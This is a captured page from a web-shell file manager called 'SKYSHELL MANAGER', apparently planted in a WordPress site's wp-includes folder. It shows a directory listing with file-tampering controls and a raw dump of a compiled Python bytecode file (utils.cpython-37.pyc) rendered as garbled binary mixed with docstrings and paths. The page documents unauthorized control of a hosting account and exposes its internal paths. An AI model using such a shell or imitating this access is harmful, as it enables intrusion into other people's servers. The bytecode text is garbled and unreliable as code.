📁
SKYSHELL MANAGER
PHP v8.1.34
Create
Create
Path:
root
/
home
/
terracebizon
/
public_html
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
12934.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: utils.cpython-37.pyc
B � dJ8 � @ s� d Z ddlZddlZddlZddlZddlZddlZddlm m Z ddlmZ ddl mZ ddlmZmZ ddlmZ ddlmZmZmZmZmZmZmZ ddlmZmZ dd lmZ ddlZdd l m!Z! ddl"m#Z# ddl$m%Z% dd l&m'Z' ddl(m)Z) ddl*m+Z+m,Z, ddl-m.Z. ddl/m0Z0 e�1d�Z2edddg�Z3e4e3d�dd�Z5dd�dd�Z6dVe4e7e4d�dd �Z8e4e4d!�d"d#�Z9e4d$d%�d&d'�Z:e4d�d(d)�Z;dWe4e4d+�d,d-�Z<e4d�d.d/�Z=e>e?d0�d1d2�Z@e4ee4 d3�d4d5�ZAee4 d�d6d7�ZBee4 d�d8d9�ZCe7d�d:d;�ZDe7d�d<d=�ZEe7d�d>d?�ZFe7dd@�dAdB�ZGe7d�dCdD�ZHe4d�dEdF�ZIe4ee4ef e7dG�dHdI�ZJdJdK� ZKedXe>ddL�dMdN��ZLedYe>e>e>ddQ�dRdS��ZMdPZNdTdU� ZOdS )Zz> This module contains helpful utility functions for SSA Agent � N)� namedtuple)�contextmanager)�date� timedelta)�LooseVersion)�socket�fromfd�AF_UNIX�SOCK_STREAM�AF_INET�AF_INET6� SOCK_DGRAM)�Optional�Union)�urlparse)�AtexitIntegration)�LoggingIntegration)�Feature)�is_panel_feature_supported)�get_kmodlve_module_version)�is_cl_solo_edition�is_container� )� sentry_dsn)�SSAError�utils�URLZdomain_nameZuri_path)�url�returnc C sJ t | �}|jrd|j� �nd}|jr2|j� |� �nd}t|j�dd�|�S )z� Split URL into domain_name and uripath including query string :param url: URL of format protocol://domain/path;parameters?query#fragment :return: namedtuple URL(domain_name, uripath) �?� �/zwww.)r �query�pathr �netloc�replace)r Z fragments�qs�uri� r( �C/opt/alt/python37/lib/python3.7/site-packages/ssa/internal/utils.py� url_split0 s r* )r c s� t t t d�dd�} dd� � � fdd�}dd �d d�}ttjtjd�}t|d �}tjt| d||gd� t� � �}d|� i|_ W dQ R X dS )u� Initialize Sentry client shutdown_timeout=0 disables Atexit integration as stated in docs: 'it’s easier to disable it by setting the shutdown_timeout to 0' https://docs.sentry.io/platforms/python/default-integrations/#atexit On the other hand, docs say, that 'Setting this value too low will most likely cause problems for sending events from command line applications' https://docs.sentry.io/error-reporting/configuration/?platform=python#shutdown-timeout )�event�hintr c S s | d � ddi� | S )z� Add extra data into sentry event :param event: original event :param hint: additional data caught :return: updated event �extrazssa.versionz 0.3-9.el8)�update)r+ r, r( r( r) �add_infoI s zsentry_init.<locals>.add_infoc S sT y0t | t��}|�|df� |�� d S Q R X W n tk rN t�d� Y nX dS )aI address_family - we can choose constants represent the address (and protocol) families (AF_INET for ipv4 and AF_INET6 for ipv6) private_ip - specify some private ip address. For instance: ipv4 -> 10.255.255.255 or ipv6 -> fc00:: r r NzCannot retrieve IP address)r r �connect�getsockname� Exception�logger�info)Zaddress_familyZ private_ip�sr( r( r) � try_get_ipS s zsentry_init.<locals>.try_get_ipc s8 t dftdff} x"| D ]\}}� ||�}|r|S qW dS )zq We are trying to get an IPv4 or IPv6 address. In case of failure we'll return 127.0.0.1 z10.255.255.255zfc00::z 127.0.0.1)r r )Z ipversionsZaddr_famZpriv_ip�ip)r6 r( r) �get_ipb s zsentry_init.<locals>.get_ipN)r c S s d S )Nr( )�pending�timeoutr( r( r) �nopen � zsentry_init.<locals>.nope)�levelZevent_level)�callbackzalt-php-ssa@0.3-9.el8)ZdsnZbefore_send�releaseZintegrationsZ ip_address)�dictr �logging�INFO�WARNINGr � sentry_sdk�initr �configure_scope�user)r/ r8 r; Zsentry_loggingZ silent_atexit�scoper( )r6 r) �sentry_init= s rI F)�fname�as_errorr c C s� y>t j| t jddd� yt�| d� W n tk r: Y nX | S tk r~ } z"t�|r^t j nt jdt |�� W dd}~X Y nX dS )zz Try to configure logging into given fname If as_error True, log the exception as ERROR, otherwise -- as INFO z%(asctime)s %(message)sz%m/%d/%Y %I:%M:%S %p)�filenamer= �format�datefmti� z$No logging configuration applied: %sN)rA �basicConfigrB �os�chmod�PermissionError�OSErrorr3 �log�ERROR�str)rJ rK �er( r( r) �set_logging_into_filez s rX )�lognamer c C sl t � t| �dkrhyt�tj�| �� W n2 tk rZ } zt�dt |�� dS d}~X Y nX t| dd�} | S )zP Configure logging :param logname: path to log :return: logpath NzFailed to create logdir %sr T)rK ) rI rX rP �makedirsr# �dirnamer2 r3 �warningrV )rY rW r( r( r) �configure_logging� s r] z socket object)� sock_locationr c C s` t tj�dd��}|dkrHt� � tt�}|�| � |�� W dQ R X nt dtt �}|�� |S )z� Create world-writable socket in given sock_location or reuse existing one :param sock_location: socket address :return: socket object � LISTEN_FDSr N� )�intrP �environ�get�umask_0r r �bind�listenr r )r^ r_ Zsockobjr( r( r) � create_socket� s rg c C s t �� tdd� } | �d�S )zC Returns date of previous day in a format "day.month.year" r )�daysz%d.%m.%Y)r �todayr �strftime)Z yesterdayr( r( r) �previous_day_date� s rk �%d.%m.%Y)�datestrr c C s t j �| |�}|�d�S )z+ Convert date to format YYYY-mm-dd z%Y-%m-%d)�datetime�strptimerj )rm Z formatstrZ_dater( r( r) �format_date� s rp c C s� yHt �d�} | �� }|�d�j}t�� �}|�d|� W dQ R X |�d�S t t j fk r� } zt�dt |�� W dd}~X Y nX dS )ze Obtain system ID from /etc/sysconfig/rhn/systemid :return: system ID without ID- prefix z/etc/sysconfig/rhn/systemidz(.//member[name='system_id']/value/stringZ system_idNzID-z Failed to retrieve system_id: %s)�ET�parseZgetroot�find�textrD rF Zset_tag�lstriprS Z ParseErrorr3 r\ rV )Ztree�rootZwhole_idrH rW r( r( r) �read_sys_id� s rw )�durationr c C s t t| d d��S )zQ Cast duration from microseconds to seconds leaving 2 digits after point i@B z0.2f)�floatrM )rx r( r( r) � duration_cast� s rz )�filepathr c C sV y$t | ��}|�� �� }W dQ R X W n tk r8 dS X d�|�d�dd� �pTdS )zDGet version of package from file. alt-php-ssa/alt-php-xray supportedN�.� z0.0-0)�open�read�striprS �join�split)r{ Zv_file�versionr( r( r) �pkg_version� s r� c C s t d�S )z"Get version of alt-php-ssa packagez/usr/share/clos_ssa/version)r� r( r( r( r) �ssa_version� s r� c C s t d�S )z#Get version of alt-php-xray packagez/usr/share/alt-php-xray/version)r� r( r( r( r) �xray_version� s r� c C s@ t � } | dkrdS yt| �td�kS ttfk r: dS X dS )zb Check version of alt-php-xray package. Autotracing in X-Ray is supported since 0.4-1 NFz0.4-1)r� r � TypeError�AttributeError)Zversion_numberr( r( r) �is_xray_version_supported� s r� c C sF d} t tt��.}y|�| � W n ttfk r6 dS X W dQ R X dS )z Check if User Agent is listeningz$/opt/alt/php-xray/run/xray-user.sockFNT)r r r r0 �ConnectionErrorrS )Zuser_agent_sockr5 r( r( r) �is_xray_user_agent_active� s r� c C sX d} t j�| �sdS y(t�| d��}t|�� �dkS Q R X W n tjk rR dS X dS )z@Check if there are no active X-Ray tasks (== empty task storage)z/usr/share/alt-php-xray/tasksT�cr NF)rP r# �isfile�dbmr~ �len�keys�error)Zxray_tasks_storageZ xray_tasksr( r( r) �no_xray_active_tasks s r� )�enabledr c C s� t tj�sdS t�d| � y:tdddd��"}|�| r8dnd� t�d � W dQ R X W n4 tk r� } zt�d | t|�� W dd}~X Y nX dS )zb Switch on/off throttle statistics gathering by kmodlve :param enabled: True or False NzSwitching schedstats: %sz!/proc/sys/kernel/sched_schedstats�wbr )�mode� buffering� 1� 0zDone OKz(Failed to set sched_schedstats to %s: %s) r r ZLVEr3 r4 r~ �writerS rV )r� �frW r( r( r) �switch_schedstats s r� c C s0 t d�} t d�}t� }|r$t|| �S tt� |�S )z� Check kmodlve module version or kernel version in order to determine if it provides the detection of IO throttling z2.0-23z1.5.58)r r �compare_versions_ge�extract_kernel_version)Zkmod_min_versionZkernel_min_versionZkmod_currentr( r( r) �$is_io_throttling_detection_available, s r� c C s@ t �d�} t�� }y| �|��d�}W n tk r: dS X |S )zO Get kernel version in the form of "major-minor" from current platform zlve([.0-9]*).elr z0.0.0)�re�compile�platformr? �search�groupr� )�patternr? Zversion_numr( r( r) r� 9 s r� )� first_version�second_versionr c C sJ yt | �|kS tk rD } ztd| � d|� d���W dd}~X Y nX dS )zE Comparing two versions using the greater or equal operator. zAUnable to compare required versions: unexpected versions format "z" and "�"N)r r� r )r� r� rW r( r( r) r� F s r� c C s t dd�st� rdS t� S )zR General check of kernel support (IO throttling availability is required) T)�skip_jwt_check)r r r� r( r( r( r) �is_kernel_version_supportedQ s r� )�maskr c c s t �| �}dV t �|� dS )z, Context manager for dropping umask N)rP �umask)r� �prevr( r( r) rd ] s rd r| T)� target_uid� target_gidr� r c c sd t �� }t �� }yt �|�}W n tk r6 d}Y nX | dkrT|dkrN|} n|j} |dkrp|dkrj|}n|j}|dk r�t �|�}||kr�t �|� t � d|� |r�t �� |kr�td��|| k�rt � | � t � d| � |�rt �� | k�r||kr�t �|� td��dV || k�r,t � |� t � d|� ||k�rLt �|� t � d|� |dk �r`t �|� dS )aH Context manager to drop privileges during some operation and then restore them back. If target_uid or target_gid are given, use input values. Otherwise, stat target_uid and target_gid from given target_path. If no target_path given, use current directory. Use mask if given. :param target_uid: uid to set :param target_gid: gid to set :param target_path: directory or file to stat for privileges, default -- current directory :param mask: umask to use :param with_check: check the result of switching privileges NzDropped GID privs to %sz6Unable to execute required operation: permission issuezDropped UID privs to %szRestored UID privs to %szRestored GID privs to %s)rP �getuid�getgid�statrS �st_uid�st_gidr� �setegidr3 �debug�getegidr �seteuid�geteuid) r� r� Ztarget_pathr� Z with_checkZprev_uidZprev_gid� stat_infor� r( r( r) �set_privilegesg sN r� c C s G dd� d�}|| �S )Nc @ s e Zd ZdZdd� Zdd� ZdS )zsingleton.<locals>.__Singletonzm A singleton wrapper class. Its instances would be created for each decorated class. c S s || _ d | _d S )N)�_wrapped� _instance)�self�_clsr( r( r) �__init__� s z'singleton.<locals>.__Singleton.__init__c _ s"